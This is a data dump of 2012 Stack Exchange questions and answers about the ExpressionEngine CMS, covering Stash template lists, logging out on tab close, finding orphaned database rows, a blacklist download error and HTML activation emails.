  <row Id="476" PostTypeId="2" ParentId="433" CreationDate="2012-11-27T13:56:09.240" Score="2" Body="&lt;p&gt;One problem with that code is it doesn't scale beyond a single business listing as all of the listing images will be appended to the statically named &lt;code&gt;business_images&lt;/code&gt; list. You could easily add support for multiple listings by adding an &lt;code&gt;{entry_id}&lt;/code&gt; suffix to the name of each image set.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append_list name=&quot;business_listing&quot; parse_tags=&quot;yes&quot;}&#xA;  {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;  {stash:title}{title}{/stash:title}&#xA;  {stash:address_1}{b_address_1},{/stash:address_1}&#xA;  {stash:address_2}{b_address_2},{/stash:address_2}&#xA;  {stash:city}{b_city},{/stash:city}&#xA;&#xA;  {b_images}&#xA;    {exp:stash:append_list:nested name=&quot;business_images_{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;        {stash:image}{b_img}{/stash:image}&#xA;    {/exp:stash:append_list:nested}&#xA;  {/b_images}&#xA;&#xA;{/exp:stash:append_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Within your business listing loop you'd tweak your &lt;code&gt;get_list&lt;/code&gt; code to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list:nested name=&quot;business_images_{entry_id}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2012-11-27T14:07:42.870" LastActivityDate="2012-11-27T14:07:42.870" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="478" PostTypeId="2" ParentId="433" CreationDate="2012-11-27T14:16:48.730" Score="6" Body="&lt;p&gt;The initial code block could be made more efficient by wrapping the outer list around Channel Entries tag pair and the nested {exp:stash:set_list} around the Matrix variable pair instead of using {exp:stash:append_list} inside it (which creates multiple append_list tags). You can also create an explicit relationship between the outer and inner list by either prepending the entry_id to the inner list name or setting the context of the inner list. This would also have the benefit of supporting multiple Channel entries should you ever need to capture more than one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;business_listing&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;  {exp:channel:entries channel=&quot;my_channel&quot; limit=&quot;1&quot;}&#xA;    {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;    {stash:title}{title}{/stash:title}&#xA;    {stash:address_1}{b_address_1},{/stash:address_1}&#xA;    {stash:address_2}{b_address_2},{/stash:address_2}&#xA;    {stash:city}{b_city},{/stash:city}&#xA;    {exp:stash:set_list:nested name=&quot;business_images&quot; context=&quot;{entry_id}&quot; parse_tags=&quot;yes&quot;}&#xA;      {b_images}&#xA;        {stash:image}{b_img}{/stash:image}&#xA;      {/b_images}&#xA;    {/exp:stash:set_list:nested}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default a Stash list will be ordered by the order in which the list rows were captured, so you can leave that blank if you wish.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:get_list name=&quot;business_listing&quot;}&#xA;  &amp;lt;ul class=&quot;business-images slides&quot;&amp;gt;&#xA;    {exp:stash:get_list:nested name=&quot;business_images&quot; context=&quot;{entry_id}&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;    {exp:ce_img:pair src=&quot;{image}&quot; width=&quot;277&quot; height=&quot;175&quot; crop=&quot;yes&quot;}&#xA;      &amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;    {/exp:ce_img:pair}&#xA;    &amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;  &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;  {address_1}&#xA;  {address_2}&#xA;  {city}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-11-27T14:16:48.730" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="479" PostTypeId="2" ParentId="453" CreationDate="2012-11-27T14:23:39.410" Score="2" Body="&lt;p&gt;Back in the EE1 days I remember some people hitting the limit at around 750 custom fields - usually caused by ambitious Multi-Site-Manager installations. I think they made some improvements in EE2 that may have pushed that a little higher, but either way unless you're using MSM it shouldn't be a problem even for massive sites.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-11-27T14:23:39.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="480" PostTypeId="2" ParentId="442" CreationDate="2012-11-27T14:52:25.663" Score="1" Body="&lt;p&gt;I was under the impression the staying logged-in problem was a known bug. As recently as 3 months ago complaints were still showing up on Ellis Labs official support forums, and that seemed to be the standard response. &lt;/p&gt;&#xA;" OwnerUserId="218" LastActivityDate="2012-11-27T14:52:25.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="481" PostTypeId="1" AcceptedAnswerId="487" CreationDate="2012-11-27T15:16:24.770" Score="3" ViewCount="192" Body="&lt;p&gt;While I was looking into a related issue, I found the following scenario:&#xA;Entry IDs in the exp_channel_data table do not match entry IDs in the exp_channel_titles table. I want to clean these up so there are no inconsistencies. &lt;strong&gt;Any suggestions as to how to clean this up?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="50" LastEditorUserId="77" LastEditDate="2012-11-27T20:18:31.687" LastActivityDate="2012-11-27T20:18:31.687" Title="Inconsistencies found in exp_channel_titles and exp_channel_data tables" Tags="|channel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="482" PostTypeId="1" CreationDate="2012-11-27T15:24:50.207" Score="4" ViewCount="2819" Body="&lt;p&gt;I have an ExpressionEngine application that displays some financial information, and the client is requesting that the user is logged out upon closing a tab/window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have the security settings set to both Session and Cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="353" LastEditorUserId="16" LastEditDate="2012-11-28T06:32:10.023" LastActivityDate="2012-11-28T10:10:22.453" Title="Log out upon tab/window close" Tags="|security|sessions|logout|cookies|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="483" PostTypeId="2" ParentId="428" CreationDate="2012-11-27T15:25:57.290" Score="2" Body="&lt;p&gt;As Isaac states this is not possible with the search tag. I know you were giving an example of the syntax you would like but the search doesn't work in this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you may need to approach the build in a different way. It seems like you would like to filter results based on certain fields. EE doesn't have any real solution for this as standard. It has been achieved before by using either SuperSearch or Low Search. John Henry gave a great talk at EEUK using SuperSearch in this way so it's possible but complex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have built a product store before and used Low &lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/&quot; rel=&quot;nofollow&quot;&gt;Seg2Cat&lt;/a&gt; to great effect. Create category groups for each of options you'd like to filter the entries by. Then use Seg2Cat to map the category_ids from the url to the entries category parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do this using the magic {segment_category_ids}. It also won't matter what order your segments are in but setting out a standard structure would be a good idea. Also you'll need to restrict your category options to unique names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up 2 category groups:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;colour:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;red&lt;/li&gt;&#xA;&lt;li&gt;green&lt;/li&gt;&#xA;&lt;li&gt;blue&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;collection:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;collection a&lt;/li&gt;&#xA;&lt;li&gt;collection b&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;URL: example.com/products/red/collection_a/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the index template of 'products' template group:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;  channel=&quot;products&quot;&#xA;  dynamic=&quot;no&quot; &#xA;  category=&quot;{segment_category_ids}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{segment_category_ids} will contain a pipe delimited string of the category_ids from the url segments, like: 2|45|4|9&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way you can filter your entries based on the url.&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2012-11-27T15:25:57.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="484" PostTypeId="2" ParentId="481" CreationDate="2012-11-27T15:29:10.440" Score="1" Body="&lt;p&gt;Well, if you mean that there are some entries in the channel data table but not in the channel  titles table, then you can probably delete them (make a backup first!) I've never seen this myself and cannot think of a scenario where this might occur so cannot give you a exact definitive answer i'm afraid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But certainly try what i've suggested, see if it causes any issues and make sure you have that backup just in case!&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-27T15:29:10.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="485" PostTypeId="2" ParentId="482" CreationDate="2012-11-27T15:39:04.610" Score="9" Body="&lt;p&gt;I think this should be the solution, &lt;a href=&quot;http://api.jquery.com/unload/&quot;&gt;http://api.jquery.com/unload/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;After this code executes, the alert will be displayed whenever the&#xA;  browser leaves the current page. It is not possible to cancel the&#xA;  unload event with .preventDefault(). This event is available so that&#xA;  scripts can perform cleanup when the user leaves the page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(window).unload(function() {&#xA;  alert('Handler for .unload() called.');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously you will want to call your logout script rather than the alert, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(window).unload(function() {&#xA;  var logout_path = '{path=&quot;logout&quot;}';&#xA;  $.get(logout_path);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="57" LastEditorUserId="131" LastEditDate="2012-11-27T21:37:14.883" LastActivityDate="2012-11-27T21:37:14.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="486" PostTypeId="2" ParentId="453" CreationDate="2012-11-27T15:39:30.287" Score="1" Body="&lt;p&gt;I'm guessing you know this but EE adds a new column for all entries with every new field (exp_channel_data). So if you had many field groups with many fields this table might hit MySQLs limit, but 2046 ((4096 - 3) / 2) fields is quite extreme and I'd say you need to reconsider your site structure if you need this many! The most I've used is a few hundred, including matrix fields, on a very complex site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;MediaGirl and James have posted the answer, but it's something that shouldn't be an issue.&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2012-11-27T15:39:30.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="487" PostTypeId="2" ParentId="481" CreationDate="2012-11-27T15:42:47.920" Score="7" Body="&lt;p&gt;Run this query in you SQL browser/tool/contraption of choice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT exp_channel_data.entry_id, exp_channel_titles.entry_id&#xA;FROM exp_channel_data&#xA;LEFT JOIN exp_channel_titles ON exp_channel_data.entry_id = exp_channel_titles.entry_id &#xA;WHERE exp_channel_titles.entry_id IS NULL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you a list of entries in your exp_channel_data table that don't have a title row. you can reverse the query to do the opposite. &lt;/p&gt;&#xA;" OwnerUserId="198" LastActivityDate="2012-11-27T15:42:47.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="488" PostTypeId="1" AcceptedAnswerId="492" CreationDate="2012-11-27T16:06:22.907" Score="2" ViewCount="100" Body="&lt;p&gt;When I go to download the blacklist in a recent install of v2.5.3 - Build Date: 20120911 I get this…&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error: New blacklist was irretrievable.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Did not receive a '200 OK' response from remote server. (HTTP/1.1 301&#xA;  Moved Permanently)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EfsKR.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've raised a ticket with EllisLab about this with my new complimentary Silver plan. I'm guessing it's to do with the domain rerouting that's happened over the weekend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wonder if anyone here can offer suggestions quicker than EllisLab ;)&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="354" LastEditDate="2012-11-27T17:03:52.213" LastActivityDate="2012-11-27T17:03:52.213" Title="What is the source of my 'Blacklist irretrievable' error?" Tags="|error|control-panel|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="489" PostTypeId="1" AcceptedAnswerId="494" CreationDate="2012-11-27T16:11:57.277" Score="3" ViewCount="1454" Body="&lt;p&gt;I need to allow a user to add articles to a wishlist that they can then e-mail or print. The data doesn't need to be saved or last longer than their session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a native EE way of doing this without writing a plugin myself? Or can anyone recommend a plugin that they know does this and that they have experience with please?&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-27T18:34:20.363" Title="How to store temporary data for a user just for their session?" Tags="|sessions|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="490" PostTypeId="2" ParentId="488" CreationDate="2012-11-27T16:12:06.450" Score="1" Body="&lt;p&gt;Unfortunately, you are at their mercy on this I think. You can always uninstall the addon if it's causing problems. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-11-27T16:12:06.450" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="491" PostTypeId="2" ParentId="488" CreationDate="2012-11-27T16:13:14.503" Score="3" Body="&lt;p&gt;Unfortunately I don't think you're going to get a solution here. The same thing (new domain routing issue) happened with the EE CP Accessory, and I assume this is in the same boat. I'm not sure if 'I can't answer your question' is a good enough answer for SE though!&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2012-11-27T16:13:14.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="492" PostTypeId="2" ParentId="488" CreationDate="2012-11-27T16:13:30.367" Score="6" Body="&lt;p&gt;Looks like in &lt;code&gt;/system/expressionengine/modules/blacklist/mcp.blacklist.php&lt;/code&gt; on line 593 it's pinging: &lt;a href=&quot;http://ping.expressionengine.com/index.php&quot;&gt;http://ping.expressionengine.com/index.php&lt;/a&gt;. Most likely an oversight on EL&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-27T16:13:30.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="493" PostTypeId="2" ParentId="488" CreationDate="2012-11-27T16:15:03.537" Score="1" Body="&lt;p&gt;Well, i'd say you'll have to remove it and wait for an update to that module or for them to reinstate that url.&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-11-27T16:15:03.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="494" PostTypeId="2" ParentId="489" CreationDate="2012-11-27T16:28:16.037" Score="5" Body="&lt;p&gt;I would try a 3rd party favorites/bookmark addon like &lt;a href=&quot;http://devot-ee.com/add-ons/remember-me&quot; rel=&quot;noreferrer&quot;&gt;Remember Me&lt;/a&gt;. Then you would need to dump that info into a form to send off in an email or print. &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-27T16:28:16.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="495" PostTypeId="2" ParentId="489" CreationDate="2012-11-27T16:33:51.323" Score="6" Body="&lt;p&gt;&lt;a href=&quot;http://www.putyourlightson.net/session-variables-plugin&quot;&gt;Session Variables&lt;/a&gt; is a great little plugin and we've used it without any issue. Easy to setup and does what you need.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-11-27T16:33:51.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="496" PostTypeId="1" AcceptedAnswerId="512" CreationDate="2012-11-27T16:42:53.927" Score="1" ViewCount="272" Body="&lt;p&gt;I'm wanting to access a variable from the series channel called {custom_series_field}, but I need to access that variable within the reverse related entries tag. Currently, this code doesn't parse the {custom_series_field} variable inside of the reverse entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the sample code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='series' status='open|hidden' url_title='{segment_2}' dynamic='off'}&#xA;  {custom_series_field}&#xA;&#xA;  {reverse_related_entries status='open|hidden' orderby='date' sort=&quot;desc&quot; limit='1'}&#xA;    Reverse related content here&#xA;    {custom_series_field}&#xA;  {/reverse_related_entries}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know you can do this with playa, but we're not ready to update quite yet.&#xA;Is it possible to access a channel variable here?&lt;/p&gt;&#xA;" OwnerUserId="133" LastEditorUserId="133" LastEditDate="2012-11-27T18:09:48.547" LastActivityDate="2012-11-27T18:09:48.547" Title="Is it possible to access channel variables inside of a reverse related entries tag without using an embed?" Tags="|ee2|relationships|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="497" PostTypeId="1" AcceptedAnswerId="504" CreationDate="2012-11-27T16:52:40.127" Score="5" ViewCount="1351" Body="&lt;p&gt;In Admin &gt; Email Configuration, I set “Default Mail Format” to “HTML”. Then I went to Design &gt; Message Pages &gt; Email Notifications and entered the following code into the “Member Account Activation Instructions” template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA; &amp;lt;head&amp;gt;&#xA;  &amp;lt;title&amp;gt;{site_name} Member Account Activation&amp;lt;/title&amp;gt;&#xA;&#xA;  &amp;lt;meta content=&quot;text/html; charset=iso-8859-1&quot; http-equiv=&quot;Content-Type&quot; /&amp;gt;&#xA;&#xA;  &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;   .list a {&#xA;    color: #cc0000; &#xA;    text-transform: uppercase; &#xA;    font-family: Verdana; &#xA;    font-size: 11px; &#xA;    text-decoration: none;&#xA;   }&#xA;   p {&#xA;    color: #3e3f3a; &#xA;    font-family: Verdana; &#xA;    font-size: 13px; &#xA;    line-height: 20px;&#xA;   }&#xA;   h1 {&#xA;       color: #850d6f; &#xA;       font-family: Verdana; &#xA;       font-size: 16px; &#xA;       font-weight:normal;&#xA;   }&#xA;   a:link, a:visited {&#xA;    color: #4a94ad;&#xA;   }&#xA;  &amp;lt;/style&amp;gt;&#xA; &amp;lt;/head&amp;gt;&#xA;&#xA; &amp;lt;body marginheight=&quot;0&quot; topmargin=&quot;0&quot; marginwidth=&quot;0&quot; bgcolor=&quot;#fff&quot; leftmargin=&quot;0&quot;&amp;gt;&#xA;  &amp;lt;table border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot; width=&quot;600&quot;&amp;gt;&#xA;   &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td bgcolor=&quot;#850d6f&quot; height=&quot;72&quot;&amp;gt;&#xA;     &amp;lt;img src=&quot;{site_url}/images/email/logo_03.png&quot; width=&quot;121&quot; height=&quot;40&quot; alt=&quot;Logo 03&quot;&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;   &amp;lt;/tr&amp;gt;&#xA;   &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;     &amp;lt;h1&amp;gt;Thank you for your new member registration.&amp;lt;/h1&amp;gt;&#xA;&#xA;     &amp;lt;p&amp;gt;To activate your new account, please visit the following URL:&amp;lt;/p&amp;gt;&#xA;&#xA;     &amp;lt;p&amp;gt;{unwrap}{activation_url}{/unwrap}&amp;lt;/p&amp;gt;&#xA;&#xA;     &amp;lt;/p&amp;gt;Thank You!&amp;lt;/p&amp;gt;&#xA;&#xA;     &amp;lt;p&amp;gt;--&amp;lt;a href=&quot;{site_url}&quot;&amp;gt;{site_name}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;   &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA;&#xA;  &amp;lt;!-- footer --&amp;gt;&#xA;  &amp;lt;table cellspacing=&quot;0&quot; border=&quot;0&quot; height=&quot;202&quot; cellpadding=&quot;0&quot; width=&quot;600&quot;&amp;gt;&#xA;   &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td class=&quot;copyright&quot; height=&quot;100&quot; align=&quot;center&quot; valign=&quot;top&quot; width=&quot;600&quot; colspan=&quot;2&quot;&amp;gt;&#xA;     &amp;lt;br&amp;gt;&#xA;    &amp;amp;copy; &amp;lt;a href=&quot;{site_url}&quot;&amp;gt;{site_url}&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;&#xA;     &amp;lt;a href=&quot;{site_url}contact-us&quot;&amp;gt;Contact Us&amp;lt;/a&amp;gt; | &amp;lt;a href=&quot;{site_url}privacy-policy-and-terms-of-use&quot;&amp;gt;Privacy Policy and Terms of Use&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;   &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;/table&amp;gt;&#xA; &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I do a test member registration, the email received is in plain text (the HTML code is visible as text). The content-type of the email is “text/plain”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML email sent via the Communication panel is sent correctly with a content-type of “multipart/alternative”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HTML email sent with &lt;a href=&quot;http://www.eec.ms/add-ons/mx-notify-control&quot; rel=&quot;noreferrer&quot;&gt;MX Notify Control&lt;/a&gt; is also sent with the correct content-type.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2016-10-04T15:06:07.317" Title="Auto-Generated Emails Not Being Sent as HTML" Tags="|html-email|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="498" PostTypeId="2" ParentId="496" CreationDate="2012-11-27T16:52:54.583" Score="3" Body="&lt;p&gt;Unfortunately you can't. You will have to pass the &lt;code&gt;entry_id&lt;/code&gt; or &lt;code&gt;url_title&lt;/code&gt; to an embed to get a custom field from that channel. See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#reverse-related-entries-tag-pair&quot; rel=&quot;nofollow&quot;&gt;Docs for more info&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-27T16:52:54.583" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="499" PostTypeId="1" AcceptedAnswerId="506" CreationDate="2012-11-27T16:58:27.577" Score="2" ViewCount="206" Body="&lt;p&gt;I recently discovered that the EE/CI's SLASH constant isn't the same as the &quot;/&quot; character. Or, at least, in my plug-in code, &lt;code&gt;(SLASH == &quot;/&quot;)&lt;/code&gt; evaluates to &lt;code&gt;FALSE&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They output the same character, though. I'm confused... can anyone explain why this is the case?&lt;/p&gt;&#xA;" OwnerUserId="262" LastEditorUserId="104" LastEditDate="2012-11-28T20:02:39.387" LastActivityDate="2012-11-28T20:02:39.387" Title="SLASH constant isn't the same as &quot;/&quot; character [in PHP]?" Tags="|add-on-development|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="500" PostTypeId="1" AcceptedAnswerId="502" CreationDate="2012-11-27T17:00:11.593" Score="2" ViewCount="121" Body="&lt;p&gt;I'm working on a travel site and one of the requests is to create user itineraries. I was planning on using Zoo Visitor for some of the user functionality, but wondering if there is any add-ons that I could use to allow a user to just click a button on an event/attraction and have it added to an itinerary tied to their account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One potential option might be to have a Safe Cracker on each page and have all the field be hidden. Then when they click the button, have that submit a form which would create an itinerary item which would relate to the user. Are there any better/simpler solutions? Checked devotee and couldn't find anything that seemed to match, but I could be missing something.&lt;/p&gt;&#xA;" OwnerUserId="137" LastActivityDate="2012-11-27T19:36:59.773" Title="Add items to a User via front end tags, (ie. travel Itineraries)" Tags="|safecracker|users|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="501" PostTypeId="2" ParentId="497" CreationDate="2012-11-27T17:02:02.880" Score="2" Body="&lt;p&gt;As far as i know, specialty templates are not sent as html. maybe use something like &lt;a href=&quot;http://madebyhippo.com/addons/view/libraree&quot; rel=&quot;nofollow&quot;&gt;http://madebyhippo.com/addons/view/libraree&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2012-11-27T17:02:02.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="502" PostTypeId="2" ParentId="500" CreationDate="2012-11-27T17:05:41.857" Score="4" Body="&lt;p&gt;Looks like you want a favorite/bookmark addon. Check out &lt;a href=&quot;http://devot-ee.com/add-ons/remember-me&quot; rel=&quot;nofollow&quot;&gt;Remember Me&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/search/results?keywords=favorites&amp;amp;collection=addons&amp;amp;addon_version_support=ee2&quot; rel=&quot;nofollow&quot;&gt;others&lt;/a&gt; depending on your specific needs. ie. saved to session, save to member account, etc.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2012-11-27T17:05:41.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="503" PostTypeId="2" ParentId="489" CreationDate="2012-11-27T17:06:14.810" Score="1" Body="&lt;p&gt;i have happily used &lt;a href=&quot;http://devot-ee.com/add-ons/remember-me&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/remember-me&lt;/a&gt; a few times. super easy to work with, and to configure. did not use session variables yet though&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2012-11-27T17:06:14.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="504" PostTypeId="2" ParentId="497" CreationDate="2012-11-27T17:07:39.907" Score="8" Body="&lt;p&gt;I've just had a quick look at the source code and my impression is that EE doesn't currently support HTML-formatted activation emails. Here's the relevant bit of the EE source:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;email-&amp;gt;EE_initialize();&#xA;$this-&amp;gt;email-&amp;gt;wordwrap = TRUE;&#xA;$this-&amp;gt;email-&amp;gt;from($this-&amp;gt;config-&amp;gt;item('webmaster_email'), $this-&amp;gt;config-&amp;gt;item('webmaster_name'));  &#xA;$this-&amp;gt;email-&amp;gt;to($row['email']);&#xA;$this-&amp;gt;email-&amp;gt;subject($this-&amp;gt;functions-&amp;gt;var_swap($template['title'], $swap));   &#xA;$this-&amp;gt;email-&amp;gt;message(entities_to_ascii($this-&amp;gt;functions-&amp;gt;var_swap($template['data'], $swap)));     &#xA;$this-&amp;gt;email-&amp;gt;send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to send out HTML-formatted messages the &lt;code&gt;mailtype&lt;/code&gt; property has to be set. In this instance it isn't even referenced, so the default behaviour (plain text) is used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing this should just be a matter of inserting the line below, however I wouldn't recommend doing so as you'd inevitably forget about it in an update and users would start to wonder why they're being sent raw HTML when they register.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;email-&amp;gt;mailtype($this-&amp;gt;config-&amp;gt;item('mail_format'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since this would be a single-line code change you could always submit a feature request. That said, if this is something you need in a reasonable timescale an add-on is probably the way to go. &lt;/p&gt;&#xA;" OwnerUserId="77" LastActivityDate="2012-11-27T17:07:39.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
